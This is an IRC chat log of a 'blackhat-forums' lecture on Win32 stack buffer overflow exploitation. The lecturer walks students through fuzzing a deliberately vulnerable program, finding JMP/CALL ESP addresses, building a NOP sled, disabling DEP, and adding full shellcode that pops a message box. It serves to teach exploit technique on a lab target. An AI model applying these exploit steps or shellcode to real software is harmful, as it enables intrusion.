Title: Stack Overflow IRC Lecture
Author/Lecturer: Aelphaeis Mangarae
Website: http://blackhat-forums.com
Email: adam_we1shaupt@hotmail.com
IRC: IRC.BlueHell.Org #BHF
<Aelphaeis> -------------------------------------------------------------------------------------
<Aelphaeis> Learn Stack Overflow Exploitation IRC Lecture
<Aelphaeis> Lecturer: Aelphaeis Mangarae
<Aelphaeis> Topic: Win32 Stack Based Buffer Overflow Exploitation
<Aelphaeis> Time: 10:17 PM, Perth, Western Australia
<Aelphaeis> So we begin the lecture
<Aelphaeis> as you should of already guessed, a stack based buffer overflow is something which occurs on the stack
<Aelphaeis> The stack is a data structure in memory that can be used for storing temporary and initialized data
<Aelphaeis> The stack works on a LIFO principal
<Aelphaeis> that is Last In, First Out
<Aelphaeis> The top of the stack is at a fixed address and grows downwards
<Aelphaeis> If something is added to the stack, that means something is PUSHED onto the stack
<Aelphaeis> when this happens something is placed on the stack, and the Stack Frame Pointer is decremented
(because of stack growth's direction)
<Aelphaeis> that is, it will point to a lower address
<Aelphaeis> when something is removed from the stack it is POPPED
<Aelphaeis> at which point the stack frame is removed and the Stack Frame Pointer is incremented
* dni_ (~dni@bluehell-8A5C4F46.hsd1.fl.comcast.net) Quit (Ping timeout )
<Aelphaeis> So now you have a basic understanding of how the stack works
* dni_ (~dni@bluehell-8A5C4F46.hsd1.fl.comcast.net) has joined #bhf
<Aelphaeis> Here is a diagram of a typical stack from wikipedia
<Aelphaeis> http://en.wikipedia.org/wiki/Image:ProgramCallStack2.png
<Aelphaeis> On the win32 stack there is basicall half a dozen registers
<Aelphaeis> these registers contain information
<Aelphaeis> some important ones are:
<Aelphaeis> The EBP, which is the Extended Base Pointer, this points to the current stack frame (sometimes it's named Stack DATA Pointer)
<Aelphaeis> The EIP, the Extended Instructional Pointer, which points to where a function will return to after it is
called (generally it determines the next instruction's address)
<Aelphaeis> The ESP, the Extended Stack Pointer which points to the "top of the stack" (more accurately the bottom of stack on x86)
<Aelphaeis> in some books the essayists have told that it's used to point to the next stack operation which is true and the same somehow
<Aelphaeis> the two most important of these registers are the ESP and the EIP.
<Aelphaeis> These two we will come across when exploiting our application (vulnerable to a typical Stack Overflow).
* Aelphaeis sets mode: -m
<Aelphaeis> Any questions?
<Syn4ps3> no
<santabug> any :)
<blackcat> so far no
<dni> non
<Fakep> no
<TheMagician> nope
<SeventotheSeven> no
<Umdebaba> nope
<dcboy> i iam
<sm> nope.
<dcboy> how long the esp ?
<DanielG> as long as an address i suppose
<Aelphaeis> each register on a 32-bit OS is 4 bytes in length (32bits/8bits=4bytes), storing 32-bit address/data at
maximum. If you need less space to use you can use 16-bit and/or 8-bit registers (sometimes we are forced to use a
8-bit register for example)
<Syn4ps3> esp its an address of a 4bytes register
<Silentz> hence 32bit?
<dni> the esp is 4 bytes
<dcboy> ok`
<Silentz> Aelph?
<dcboy> thanks
* popkorn (pop_korn@bluehell-7307429E.miki.eu.org) has joined #bhf
<headyy> w00t i can talk :D
* mIcr0s0ft (user@ping.pong.np) has joined #bhf
<Aelphaeis> fuck up headYY, lecture is going on
<headyy> sorry :(
<Silentz> Aelphaeis?
<Syn4ps3> ¬http://lardcave.net/~wzdd/hype/localimages/cs9244__ia32_integer_registers.png
<Aelphaeis> so no more questions really?
<Syn4ps3> look at this guys
<Silentz> yes
<Silentz> me
<Silentz> <Silentz> hence 32bit?
<Syn4ps3> and this one: ¬http://www.unixwiz.net/images/stackframe-cdecl.gif
* Aelphaeis sets mode: +m
<Aelphaeis> So now we move onto the next bit of the lecture
<Aelphaeis> What Is A Stack Based Buffer Overflow
* mIcr0s0ft (user@ping.pong.np) has left #bhf
<Aelphaeis> A stack based buffer overflow occurs when more data is transferred into a (static) buffer than what the
buffer was designed to hold, therefore the buffer overflows
<Aelphaeis> the contents of the buffer would be stored somewhere on the stack temporarily, what would happen is the
excess data would overwrite other memory locations (stack frames, registers, func ptr, ...)
<Aelphaeis> The fact we can overwrite registers on the stack is the important part, because this is the key to exploitation
<Aelphaeis> In this lecture I will demonstrate the overwriting of the EIP and how to execute shellcode by hijacking flow
of the program and landing it into a NOPSLED which of course will be followed by shellcode
<Aelphaeis> Why Do Stack Overflows Occur?
* cesnjak (cesnjak@bluehell-D2958902.adsl.net.t-com.hr) has joined #bhf
<Aelphaeis> Stack Overflows occur because there are functions in C/C++ that do not do "bounds checking" and will copy the
contents of one buffer or inputted data into a buffer without checking how much data the buffer can hold
* insanity (_th3-x@F88F3A20.8CE6CB0B.F175557F.IP) has joined #bhf
<Aelphaeis> functions such as strcpy() do not do bounds checking and are therefore exploitable
<Aelphaeis> A small list of C functions that are vulnerable are:
<Aelphaeis> gets()
<Aelphaeis> sprintf()
<Aelphaeis> strcat()
<Aelphaeis> strcpy()
<Aelphaeis> streadd()
<Aelphaeis> strecpy()
<Aelphaeis> strtrns()
<Aelphaeis> index()
<Aelphaeis> fscanf()
<Aelphaeis> scanf()
<Aelphaeis> sscanf()
<Aelphaeis> vsprintf()
<Aelphaeis> realpath()
<Aelphaeis> getopt()
<Aelphaeis> getpass()
<Aelphaeis> If I remember correctly, dni found that list through googling
* Aelphaeis sets mode: -m
<dni> :)
<Aelphaeis> Any questions?
<Fakep> nope
<santabug> strlen()
<insanity> thankz
<sm> everything's fine..
<Umdebaba> no questions
<sm> maybe more functions..
<Syn4ps3> no questions
<Aelphaeis> well you guys can find that out for yourself
<sm> im making list of them..
<sm> :D
<SeventotheSeven> no questions
<Aelphaeis> not like you can't use Google, unlike my retard friend Ben who acts like he can't use Google
<dcboy> gogo``
<sm> ok... if anyone has any list..it would be nice to share it
<Syn4ps3> so i want to tell if someone has any question just ask, do not be quiet
<Aelphaeis> yeah feel free to ask
<Aelphaeis> ok, seems no one has any questions
<nic`> why does my peenii smell?
<D4rk> ...
<Aelphaeis> nic`, you need to wash your penis everyday
<Syn4ps3> lol
<Fakep> =\
<nic`> ok thanx =D !
<santabug> haah
<Aelphaeis> otherwise it will become vulnerable to a stack based buffer overflow
<cesnjak> lol
<Aelphaeis> and you will be exploited by h4x0rz
<Syn4ps3> hahaha
<Fakep> lol
<SeventotheSeven> lol
<Umdebaba> pwned
<D4rk> sperm overflow
<nic`> then ill get posted on steak and cheese
<sm> lol
<Aelphaeis> lol, ok that's enough about nic` pen0r
<sm> vuln one :P
* Typo (~you.suck@bluehell-156E3E87.lns1-c11.dsl.pol.co.uk) has joined #bhf
<Aelphaeis> So now we move onto:
<Aelphaeis> Fuzzing Our Vulnerable Application!
<Aelphaeis> now, I have already compiled our target application using LCC W32
<Aelphaeis> it can be found here:
<Aelphaeis> http://blackhat-forums.com/Aelphaeis/vuln.exe
<Aelphaeis> everyone download it
<Aelphaeis> if you haven't got a vuln.exe suitable for exploitation
<Aelphaeis> brb, gotta piss
<Silentz> classic
<D4rk> the thrill of the ride Silentz ;D
<Silentz> heh
* Balgan (~pinokavat@bluehell-574D17AD.brig.cable.ntl.com) has joined #bhf
<Silentz> 43 and counting...
<Syn4ps3> lol
<Aelphaeis> so you all downloaded vuln.exe? or got a copy
<Silentz> yup
<Fakep> yes
<Syn4ps3> yeah, just continue
<dcboy> yes
<D4rk> :D
<cesnjak> it crashes to me
<dcboy> i have download it
<insanity> yes
<Aelphaeis> Now as I should of mentioned earlier this exploitation should be done on a Windows XP box
<sm> and turn back the moderated mode back on:)
* nic` sets mode: +m
<Aelphaeis> If for some reason you have DEP enabled on applications (other than windows system files) you can turn it off by going to
<Aelphaeis> Control Panel -> System -> Advanced -> Performance (Settings) -> Data Execution Prevention
<Aelphaeis> this technology will be discussed a bit more later on
<Aelphaeis> I believe most 64bit CPU's support Data Execution Prevention
<Aelphaeis> ok now it is time to fuzz our vulnerable application
<dni> Aelhaeis: can DEP stay on if its just for windows progrms and serviceS?
<Aelphaeis> yes, I have found you can still exploit the application that way
<dni> ok
<Aelphaeis> in fact I also discovered today that by default that's the way it seems to be
<D4rk> indeed
<Aelphaeis> Now it's time to open up our vulnerable application in Ollydbg
<Aelphaeis> We will be fuzzing to see how many bytes we can slam in memory before overwriting the EIP.
<Aelphaeis> For those you will need my Fuzzing.txt (well you could just use Perl)
<Aelphaeis> http://blackhat-forums.com/Aelphaeis/Fuzzing.txt
* popkorn (pop_korn@bluehell-7307429E.miki.eu.org) Quit (Quit: leaving )
* r0rkty (admin@securzone.org) Quit (Ping timeout )
<Aelphaeis> You can open Ollydbg and pass the A's which we will be using to fuzz our application as an argument
<Aelphaeis> This program takes input as an argument (named a "command-line argument" program)
<Aelphaeis> http://img144.imageshack.us/img144/9519/ollydbg1lf0.png
<Aelphaeis> Ollydbg, File -> Open
<Aelphaeis> then paste 262 A's into the Arguments input box
<Aelphaeis> Press Open
<Aelphaeis> Now go to Debug -> Run
<Aelphaeis> You should possibly notice that some bytes (2) of your EIP have been overwritten
* Aelphaeis sets mode: -m
* cesnjak (cesnjak@bluehell-D2958902.adsl.net.t-com.hr) Quit (Quit: )
<Aelphaeis> Any questions?
<Syn4ps3> 4 bytes overwritten
<sm> why 262 A's
<sm> ?
<Aelphaeis> meaning the whole thing right?
<dcboy> EIP point to 00004141
<Aelphaeis> yes sm, 262
<Syn4ps3> to probe
<santabug> Syn4pse 2
<Syn4ps3> me 4
<dni> not me
<dcboy> the buffer length is 256 why 262 can overwrite
<santabug> 41 and 41
<Aelphaeis> well it should vary on what compiler you use
<sm> yep.. that's what i asked
<Syn4ps3> yes
<Aelphaeis> well there is space between the end of the buffer and the EIP on the stack
<Syn4ps3> my EIP -> 41414141
<Aelphaeis> so that has to be overwritten
<Aelphaeis> let demonstrate it:
<Aelphaeis> [ buffer (256) ] [ SFP (4) ] [ RET (eip) (4) ] = 264 (data needed to overwrite the eip completely)
<Aelphaeis> 264 - 262 (our data) = 2 => two last bytes of EIP is not overwritten
<D4rk> 00004141
<Fakep> me to
<dcboy> my EIP -> 00004141
<sm> 00004141
* r0rkty (admin@ircop.bluehell.org) has joined #bhf
<dcboy> 262 's A
* Aelphaeis sets mode: +o r0rkty
<SeventotheSeven> 00401219 ?
<dni> my eip is not overwritten at ll
<dni> i put 262 A's in it
<Aelphaeis> have you gone Debug -> Run
<Syn4ps3> i have to pass by parameter 260 A's
<SeventotheSeven> yes
<dcboy> EBP is ->41414141
<Aelphaeis> try more then dni and Seven
<Syn4ps3> to have 2 bytes overwritten of EIP
<Aelphaeis> did you use my vuln.exe ?
<SeventotheSeven> now it's working
<Aelphaeis> dni && seven
<SeventotheSeven> 00004141
<Aelphaeis> ok good
<Syn4ps3> try 260 A's
<TheMagician> EIP: 00004141 EBP: 41414141
<Aelphaeis> how about you dni, what is happening?
<Syn4ps3> the guys that have 41414141 just probe with 260 A's
<Aelphaeis> no, because 4 bytes is overwritten
<Fakep> 41414141 - it's EBP
<Aelphaeis> if they slamed 262 bytes in there, that means they can place 258 bytes in memory before overwriting the EIP.
<dni> hmm
<dni> maybe its DEP fucking with my shit
<Syn4ps3> yeah i konw ael
<Aelphaeis> well DEP marks areas of memory as non-executable so shellcode can't be executed
<Aelphaeis> I wouldn't think it would effect the overwrite of the EIP.
<Aelphaeis> dni did you use my vuln.exe?
<Syn4ps3> have you Run->debug ?
<dni> i got it
<Aelphaeis> working now dni?
<dni> yeah i had to put more into the buffer
<Aelphaeis> ahh ok
<Syn4ps3> right
<Aelphaeis> so now you guys should all have worked out how many bytes you can place in memory before overwriting the EIP.
<Syn4ps3> so, is there anyone lost?
<Aelphaeis> this will be needed to align our new address over the old one.
<sm> w8 a sec
<sm> one more... you said:
<sm> [15:45] <Aelphaeis> well there is space between the end of the buffer and the EIP on the stack
<sm> how do we know how big is the space?
<Balgan> just one question u guyz are going to put this "lecture" in the forum when it ends ? since iwasnt here since the begginin
<Aelphaeis> in a normal stack based overflow process that space is 4 bytes.
<Aelphaeis> there's one segment sfp or stack frame pointer between 'em in usual
<Aelphaeis> so you need to put 4 more characters in order to reach the first byte of EIP or RET.
<Aelphaeis> yes Balgan
<Balgan> thx Aelphaeis
<Syn4ps3> :)
<sm> Ok.. everything's find. continue :]
<Aelphaeis> ok, so everyone now knows how they can align their new address over their old one?
<sm> fine*
<D4rk> what do you mean?
<dni> i ad to put 264
<dni> **had
<dni> to overwrite the eip
<Syn4ps3> what cpu do you have?
<dni> amd
<Syn4ps3> ok
<dcboy> 264 's A can overwirte all eip
<santabug> yes
<dcboy> EIP->41414141
<D4rk> two questions: do we have to keep the bytes that overflow to a minimum, i mean, if the EIP is written at exactly
262 chars, why we use 264?
<Aelphaeis> D4rk, well it's not overwritten completely (2 bytes is still left). Generally we don't need to overwrite our
eip with a junk data (A's). we just try to determine the number of characters needed to overflow the buffer.
<dni> d4rk no
<Syn4ps3> then we are going to use the exactly num
<dcboy> C:\>findjmp ntdll.dll esp
<Syn4ps3> you are going to see it later
<Aelphaeis> sm, you just need to work out how many bytes you can put into memory before overwriting the EIP.
<Aelphaeis> dcboy, please leave the explaining to me
<sm> yeah aelph, it's ok
<Aelphaeis> I will discuss what you are going onto later on
<sm> i got it.. thanks
<Aelphaeis> so you all now should have worked it out
<dcboy> ok
<Syn4ps3> one thing Ael
<Aelphaeis> yes?
<Syn4ps3> you told me to leave then with 41414141
<Syn4ps3> but you can leave with that
<Syn4ps3> you may search for at least 00414141
<Aelphaeis> no, I didn't. You just needed to work out as I have said numerous times
<Syn4ps3> to know the bytes exactly
<Aelphaeis> < 01~Aelphaeis > ok, so everyone now knows how they can align their new address over their old o
<Aelphaeis> yes
<Syn4ps3> so i think there are guys with 41414141 now
<Syn4ps3> ant it can result an error later
<Aelphaeis> well then you need to work out how many bytes they can put into memory before overwriting the EIP.
<Aelphaeis> That's what they need to work out
<Aelphaeis> and what you should have all worked out by now
<Syn4ps3> :)
<Aelphaeis> That's the reason we are doing the fuzzing
<Aelphaeis> Now, what we are going to do is put the following into memory:
<Aelphaeis> [JUNK DATA] [NEW RETURN ADDRESS] [NOP SLED] [SHELLCODE]
<Aelphaeis> The JUNK DATA will be used to overflow our buffer
<Aelphaeis> because as I said before strcpy() does not do bounds checking, and in our application will just copy what is
receives into our char buffer[256];
<Balgan> the junk data will be th same has the A's we use in fuzzing aye?
<Aelphaeis> yes, you can use what ever you want
<Balgan> ty
<Aelphaeis> but in this case we will be using A's
<Aelphaeis> Now it is time for us to find a suitable address, to overwrite the EIP (RET) with.
<Aelphaeis> the RET in its simplest fashion is a simple CALL/JMP instruction.
<Aelphaeis> in generally we can use the call/jmp trick to locate our data on the stack and use it to exploit the program successfully
<Aelphaeis> and our data here is: NOP SLED and SHELLCODE
<Aelphaeis> What we need is an address with a JMP ESP or a CALL ESP.
<Aelphaeis> If we overwrite our EIP with an address that has JMP ESP we can jump into our NOPSLED.
* KZ (~kanada@bluehell-5EBF2E1A.nc.res.rr.com) has joined #bhf
<Aelphaeis> In this case I am not sure if the NOPSLED is actually needed, but when doing more complicated exploitation you
will find you probably will need to use it
<Aelphaeis> but the point is that you can't use the nop sled everywhere. Sometimes the target program (buffer) is
very tiny and can't waste it by using of NOP instructions. So you need to find the exact address of the shellcode to
avoid using nop sled. Anyway it's not the case here in our example.
<Aelphaeis> when we hit the NOPSLED, the Stack Frame Pointer will be incremented as it moves along each NOP.
<Aelphaeis> A NOP, is a No-Operation byte (with the hexadecimal represent of 0x90), it doesn't do anything.
<Aelphaeis> So now, let's find our address to overwrite the EIP with.
<Aelphaeis> First here is the "skeleton" if you will for the exploit we will be coding to exploit the vulnerable application
<Aelphaeis> http://blackhat-forums.com/Aelphaeis/exploit_b0f.c
<Aelphaeis> Everyone get it and whack it into their C Compilers
* KSURi (~ksuri@9E51E34F.E8A52DC2.B891CCD7.IP) has joined #bhf
<KSURi> re2all
<Aelphaeis> before, we go on. I would like to point out that obviously you will need to change the path in exploit[] to
what is suitable for your application
<Aelphaeis> hello, KSURi, STFU while the lecture is going on
<Aelphaeis> So everyone please do that now
<Balgan> Aelphaeis just one question which is the c compiler ur using in the movie of exploiting stack overf. ?
<Aelphaeis> LCC W32
<Balgan> thx
<Aelphaeis> so everyone ok with where we have come so far?
<SeventotheSeven> yes
<dni> yeah
<Fakep> yes
<Balgan> uep
<Syn4ps3> yes
<Balgan> yep
<dni> question tho
<dni> in b0f.
<dni> c
* skvoznoy (~madrish@F7E2E0C1.E2D05FA0.4BFF86AB.IP) has joined #bhf
<Aelphaeis> yes, continue
<dni> shoudnt it be 4 bytes ess than whatever the amount it took to overwrite the EIP ?
<Syn4ps3> that is i told
<Aelphaeis> welcome skvoznoy, the lecture is currently going on
<Syn4ps3> if you have eip 41414141
<Syn4ps3> you have to put 4bytes less
<dni> cuz, dont we need to send it garbage until right before the EIP starts getting overwritten
<Aelphaeis> yes correct
<dni> ok
<Aelphaeis> as I said before!
<Syn4ps3> if you had 00004141 2bytes less
<Aelphaeis> correct Syn4ps3
<skvoznoy> good day to all, it is pleasent to be here now for me, in so wonderful company :)
* r0rkty- (~h4x@ircop.bluehell.org) has joined #bhf
<Aelphaeis> so now, we get our JMP ESP/CALL ESP address
<Syn4ps3> so Aelphaeis the problem i was saying before is that you have EIP 41414141 you can be overwritting another registers too
<Aelphaeis> we need to find one, in Windows NT as I have probably mentioned before, the addresses are static (NO ASLR) so, no problems finding one
<Aelphaeis> correct, but that isn't important for this
<Syn4ps3> ok
<Aelphaeis> http://blackhat-forums.com/Aelphaeis/Findjmp2.exe
<Aelphaeis> Findjmp2 is a program written by Hat-Squad, for finding possibly locations to JMP to
<Aelphaeis> For those of you who remember a while back (when he was still releasing exploits) class101 was a member of Hat-Squad
* r0rkty (admin@ircop.bluehell.org) Quit (Ping timeout )
<dcboy> find which dll?
<Aelphaeis> I believe he actually wrote the program
<Aelphaeis> of course not written the whole, but also he has optimized it
<Aelphaeis> the findjump tool mainly is developed by eEye and class101 has optimized it.
<Aelphaeis> dcboy I will get to that
<dcboy> sorry~
<Aelphaeis> for this example, we will use kernel32.dll
<Aelphaeis> everyone got findjmp2.exe ?
<dni> yea
* phetips (~phetips@bluehell-31B75992.upc-i.chello.nl) has joined #bhf
<SeventotheSeven> yes
<Fakep> yep
<phetips> lecture over?
<dni> no
<Aelphaeis> no, phetips we are like half way through
<sm> try turning the +m mode again... it was better that way... after you're done we can ask questions
<Aelphaeis> doesn't bother me sm atm, not too bad
<Aelphaeis> anyway
<phetips> okay i'll just sit and read than :)
<Aelphaeis> we will now use findjmp2 to find an address
<sm> lol
<Aelphaeis> drag it into cmd and pass it the following arguments
<dcboy> [+]0x77e7ae59 call esp is this?
<Aelphaeis> findjmp2.exe KERNEL32.DLL esp
<Aelphaeis> dcboy, for the last time don't go jumping ahead of us please
<dcboy> sorry
<Aelphaeis> all of you should find an address
<Balgan> 2
* SeventotheSeven nods
<Aelphaeis> Balgan what operating system and service pack do you have?
<dni> 2 as well
<dni> xp sp 2
<Balgan> Win xp SP2
<SeventotheSeven> same
<Syn4ps3> 0x7C81518B call esp
<Syn4ps3> 0x7C8369D8 call esp
<SeventotheSeven> same as me
<Fakep> 2
<Balgan> 0x7C81518B call esp
<Balgan> 0x7C8369D8 call esp
<sm> 0x7C4FEDBB call esp
<Aelphaeis> ok, that seems to be different from mine, but anyway
<D4rk> hmm how strange, i've got win xp sp2 and it only has one
<Aelphaeis> ok, I get the point now guys. For those of you who have different language Operating Systems I think the addresses will vary
<Aelphaeis> same with me D4rk
<Balgan> ye mine is in PT
<Aelphaeis> the KERNEL32.DLL isn't the most reliable dll to look for addresses in.
<dni> ou guys put 262 right ?
<D4rk> yup
<Aelphaeis> you can use any windows system dll you want that is loaded in memory
<Aelphaeis> for example you can use ntdll.dll too, but of course it's not the case, so forget it for now.
<dni> i put 264
<phetips> 0x7C81518B call esp
<phetips> 0x7C8369D8 call esp
<phetips> oh sorry that's exactly the same :)
<Syn4ps3> me 260
<Aelphaeis> I just chose to use KERNEL32.DLL
<Aelphaeis> so we now need to format this address correctly and add it to our exploit
<Aelphaeis> so we can overwrite our EIP.
<dni> ok
<Aelphaeis> Now the amount of A's in the skeleton of an exploit I gave you is 262
<Aelphaeis> so please adjust it, to what you need
* lightphoenix (~chatzilla@D58CE8C0.EC497771.38CE1736.IP) has joined #bhf
<Aelphaeis> now let's take Syn4ps3's address (one of his) and format is correctly
<Aelphaeis> 010x7C8369D8 call esp
<Syn4ps3> first one
<Aelphaeis> 7C 83 69 D8
<Aelphaeis> D8 69 83 7C
<Aelphaeis> \xD8\x69\x83\x7C
<Aelphaeis> Is our return address, well Syn4ps3's return address anyway
<Aelphaeis> you should all format yours the same way I demonstrated
* insanity (_th3-x@F88F3A20.8CE6CB0B.F175557F.IP) Quit (Quit: )
<Aelphaeis> you all doing that now?
<Syn4ps3> yeah
<SeventotheSeven> yes
<Balgan> y
<D4rk> done
<D4rk> \x5D\x39\x82\x7C
<sm> done
<Fakep> \x33\x3A\x87\x7C
<Aelphaeis> Balgan, wtf do you mean y? because we fucking have to
<dcboy> ok
<sm> i guess he mean yes:D
<Balgan> yes
<Balgan> lol
<Balgan> sorry Aelphaeis
<Balgan> :{
<Aelphaeis> lol ok, you confused me
<Aelphaeis> so now we put this into char ret[]
<dcboy> i have one question: in exploit_b0f.c the overfolw[] 's A is 262 or 260?
* Warpboy (~Warpboy1@bluehell-ACB9014E.carolina.res.rr.com) has joined #bhf
<Balgan> 262
<Aelphaeis> mine is: char ret[] = "\x5D\x38\x82\x7C";
<dni> dcb0y: you had to modify it according to however many bytes it took to overflow
<D4rk> same here
<Aelphaeis> 262 dcboy
<dcboy> thanks
<dni> if it took you 264 characters to overflow it,.. you would put 260
<sm> 262 for me too.. but some guys needed more
<Aelphaeis> correct dni
<sm> like dni
<Aelphaeis> so you all formatted your return addresses correctly and added it to your exploit?
<Balgan> yes
<dni> yes
<Fakep> yes
<sm> yep
<SeventotheSeven> yep
<Syn4ps3> yes
<dcboy> yes
<Aelphaeis> ok, now time to add the NOPSLED
<Aelphaeis> char NOPSLED[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
<Aelphaeis> we then add that NOPSLED to the variable exploit
<Aelphaeis> under the two strcat()'s I have put in the exploit
<Aelphaeis> put
<Aelphaeis> strcat(exploit, NOPSLED);
<Aelphaeis> that will append the NOPSLED after the return address
<Aelphaeis> everyone done that?
<dcboy> yes
<Syn4ps3> yes
<dni> yup
<SeventotheSeven> yep
<Aelphaeis> No one having any problems?
<Umdebaba> nope
<dni> i have question tho
<dni> why the 11 bytes of noslep ?
<Aelphaeis> just random
<dni> ko
<dni> ok
<sm> in the both strcat()?
<Aelphaeis> I don't understand sm
<Napster911> whats the lecture on I missed the start?
<dni> strcat(exploit, overflow);
<dni> strcat(exploit, ret);
<dni> strcat(exploit, NOPSLEP);
<sm> oh k
<Aelphaeis> thats how you should have it so far
<Aelphaeis> as dni just pasted
<phetips> Napster911: Topic: Win32 Stack Based Buffer Overflows
<Fakep> done
<phetips> but let's shhhh and let them hax ^^
<Aelphaeis> ok, now time for our shellcode
<Aelphaeis> now, in most exploits like this we can really use any shellcode we want, that has any payload
<Aelphaeis> but for this we are just going to use some small shellcode that spawns a message box
<Syn4ps3> you can find lots of them :)
<dni> Aelph: size limitaion is an issue right ??
<Syn4ps3> or code yourself
<Aelphaeis> dni: yes
<D4rk> you can make em to
<D4rk> too*
<dcboy> i have question: how long this max shellcode?
<Aelphaeis> ahh, with this dni I found it is, but I also found that some of the shellcode from metasploit (generated) only
sometimes worked, and sometimes didnt
<dcboy> how max long of the shellcode can input in
<dni> dcboy: i beleiv its the size of the buffer
<Aelphaeis> well, listen here
<Aelphaeis> no relation to program's buffer actually. But also it depends on our main "payload size".
<Aelphaeis> take a look here:
<Aelphaeis> strcat(exploit, overflow);
<Aelphaeis> strcat(exploit, ret);
<Aelphaeis> strcat(exploit, NOPSLEP);
<Aelphaeis> strcat(exploit, shellcode); (gonna add this line a bit later)
<Aelphaeis> well, if you look this lines carefully, you'll see the "exploit" array here.
<Aelphaeis> Anything related to our payload is added to this buffer.
<Aelphaeis> So we name the "exploit" array, our PAYLOAD-HOLDING buffer.
<Aelphaeis> this means that the exploit stuff (junk, jmp, nop, shellcode, .) is added to this array.
<Aelphaeis> so if our shellcode be too long to be hold by "exploit" array, our shellcode (and thus our exploit) will fail.
<Aelphaeis> thus if we exceed our payload buffer space, we will see a segmentation fault message and the shellcode
execution is interrupted in the middle!
* lightphoenix (~chatzilla@D58CE8C0.EC497771.38CE1736.IP) has joined #bhf
<Aelphaeis> anyway, you can get the shellcode we are using from here:
<Aelphaeis> http://blackhat-forums.com/Aelphaeis/Shellcode.txt
<dni> buffer - EIP - SHELLCODE - RETURN
<dni> i think
<santabug> ah yes shellcoding is funny on linux with polymorphic engine
<Fakep> win32 Beep Shellcode (SP1/SP2) 35 bytes - may i use that?
* SubSyn (~TcpSynAck@bluehell-I-NO7-1337.ur.berrylame.ru) has joined #bhf
<SeventotheSeven> lol Fakep i was just looking at that
<Balgan> well Aelphaeis u said a pop up message box so win32/xp sp2 Pop up message box 110 bytes should do the job ?
<Aelphaeis> fakep, the SP2 version of that has a NULL byte in it (I guess they expect you to encode it.)
<sm> i guess i need to find some other for my 2k
<Syn4ps3> oh shit sm, just find another one quiclkly
<D4rk> lol NULL byte, probl to scare off kiddies
<phetips> isn't the limit simply the memory allocated to the stack? since you're writing at the end of the stack
<Aelphaeis> yeah maybe D4rk, but I dont think so
<Aelphaeis> correct phetips
<Syn4ps3> yes
<Aelphaeis> now this shellcode will only work on Windows XP SP2, as the addresses the shellcode calls are different on
different Windows branches (xp, 2000, 2003, etc)/Versions/Service packs/CPU-Architectures.
<Aelphaeis> you can add your shellcode to your exploit by doing
<Aelphaeis> char shellcode[] =
<Aelphaeis> "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb"
<Aelphaeis> "\x77\x1d\x80\x7c" //***LoadLibraryA(libraryname) IN WinXP sp2***
<Aelphaeis> "\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb"
<Aelphaeis> "\x28\xac\x80\x7c" //***GetProcAddress(hmodule,functionname) IN sp2***
<Aelphaeis> "\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x06\x31\xd2\x52\x51"
<Aelphaeis> "\x51\x52\xff\xd0\x31\xd2\x50\xb8\xa2\xca\x81\x7c\xff\xd0\xe8\xc4\xff"
<Aelphaeis> "\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"
<Aelphaeis> "\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"
<Aelphaeis> "\xff\x4f\x6d\x65\x67\x61\x37\x4e";
<Aelphaeis> strcat(exploit, shellcode);
<Aelphaeis> of course strcat(exploit, shellcode); would be placed after strcat(exploit, NOPSLED); so that your shellcode
is appended to your NOPSLED
<Aelphaeis> everyone done that?
<SeventotheSeven> yep
<Balgan> ye
<Umdebaba> what about non sp2 users, screwed?
<dni> yup
<SeventotheSeven> find diff shellcode
<Aelphaeis> use different shellcode, you should be right
<Aelphaeis> as long as its small
<Balgan> http://milw0rm.com/shellcode/win32
<Umdebaba> kk thanks
<dcboy> i have one question: if the shellcode have \x00 how to do??
<Kekke> remove it?
<dni> yeah, i remember reading null bytes in shellcodes are a no
<phetips> don't, you have to do tricks like xor instead of set to 0, etc
<dcboy> ok``use XOR```
<lightphoenix> encode the shellcode ?
<phetips> or that
<Aelphaeis> yes you would encode your shellcode in order to get around the problem of a NULL byte
<Aelphaeis> of course there are ways around to avoid null bytes which can be discussed in the forums.
<lightphoenix> but how to decode before exec it?
<Aelphaeis> Ok, run the exploit you have made and you should get the following:
<Aelphaeis> http://img470.imageshack.us/img470/8485/exploitworkz0rxl5.png
<Aelphaeis> So who's exploit works?
* r0rkty- (~h4x@ircop.bluehell.org) Quit (Ping timeout )
<dcboy> don't work
<santabug> i 've tried blue beep sp1 one and it doesn't works
<Fakep> not mine (
<Aelphaeis> your exploit should of looked like this:
<Aelphaeis> http://blackhat-forums.com/Aelphaeis/exploit2.c
<dni> exploit.cpp
<dni> exploit.cpp(56) : error C2065: 'execve' : undeclared identifier
<dni> C:\Documents and Settings\John Blaze\My Documents\0wn3d\C_stuff>
<Syn4ps3> mine works
<Aelphaeis> dni? WTF You werent meant to use execve you were meant to use WinExec()
<Syn4ps3> lol
<santabug> ^^
<dni> hmm
<dni> i think i compiled the wrong exploit.c
<dni> lol
<santabug> for me this is just the shellcode which sux
<dni> brb
* SeventotheSeven (~seven@seven.to.the.seven) Quit (Ping timeout )
<Aelphaeis> WinExec() is defined in windows.h btw dni, you should of used my exploit_b0f.c as a skeleton
<D4rk> no window message for me, yet some directions to it
<D4rk> C:\DOCUME~1\Dark\Escritorio>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<D4rk> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<D4rk> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]9é|???????????1+1¦1+1??7YêQ
<D4rk> +w??|Q ??9Y1?êQ?QP+(¼?| ??9Y1?êQ?1?RQQR ?1?P©?-ü| ??- user32.dllN?- MessageBoxAN?- Omega7N
<Aelphaeis> well it seems D4rk, it has jumped to the correct place, just hasnt executed the code
<D4rk> yeah, wierd isn't it
<Aelphaeis> it is possible as I said, that your version of Windows has the addresses at a different location in memory
